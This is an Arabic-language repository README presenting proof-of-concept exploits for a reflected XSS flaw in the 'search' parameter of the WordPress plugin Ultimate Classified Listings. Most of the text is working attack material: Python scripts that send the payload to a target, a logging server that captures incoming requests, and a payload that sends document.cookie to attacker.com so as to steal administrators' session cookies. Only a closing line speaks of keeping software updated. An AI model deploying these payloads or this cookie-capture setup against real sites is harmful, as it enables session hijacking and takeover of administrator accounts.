
إثباتات مفهوم (PoC) تُظهر ثغرة XSS المنعكسة في إضافة Ultimate Classified Listings الخاصة بووردبريس وسرقة ملفات تعريف الارتباط الخاصة بالمشرف عبر حمولات مُصمّمة وخادم تسجيل.
يحتوي هذا المستودع على نصوص إثبات المفهوم (PoC) لثغرات أمنية مختلفة تم اكتشافها في إضافات ووردبريس متنوعة. توضح هذه النصوص كيف يمكن للمهاجمين استغلال هذه الثغرات لتنفيذ إجراءات ضارة.
XSS المنعكس عبر المواقع (XSS) في إضافة القوائم المصنفة النهائية
سرقة الكوكيز باستخدام XSS
يوضح إثبات المفهوم هذا كيفية استغلال ثغرة XSS المنعكسة في إضافة القوائم المصنفة النهائية.
تحديد المعامل الضعيف:
search في الرابط http://example.com/classifieds.صياغة رابط ضار:
http://example.com/classifieds?search=<script>alert('XSS')</script>
تشغيل نص إثبات المفهوم:
xss_poc.py وقم بتشغيله.import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
payload = "<script>alert('XSS')</script>" # XSS payload
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
يوضح إثبات المفهوم هذا كيف يمكن للمهاجم استغلال ثغرة XSS المنعكسة لسرقة الكوكيز من المستخدمين ذوي الصلاحيات العالية.
إعداد خادم ضار:
malicious_server.py وقم بتشغيله لبدء خادم يسجل الطلبات الواردة (بما في ذلك الكوكيز).from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
logging.info(f"Received request: {self.headers}")
self.send_response(200)
self.end_headers()
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8080):
logging.basicConfig(filename='server.log', level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info(f'Starting server on port {port}...')
httpd.serve_forever()
if __name__ == "__main__":
run()
صياغة حمولة لسرقة الكوكيز:
http://example.com/classifieds?search=<script>new Image().src='http://attacker.com:8080?cookie='+document.cookie;</script>
تشغيل نص إثبات المفهوم:
steal_cookies_poc.py وقم بتشغيله.import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
attacker_server = "http://attacker.com:8080" # Change this to your malicious server's URL
payload = f"<script>new Image().src='{attacker_server}?cookie='+document.cookie;</script>"
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
توضح إثباتات المفهوم هذه كيف يمكن للمهاجم استغلال الثغرات في إضافات ووردبريس لتنفيذ إجراءات ضارة. حافظ دائمًا على تحديث برامجك واتبع أفضل ممارسات الأمان لمنع مثل هذه الثغرات.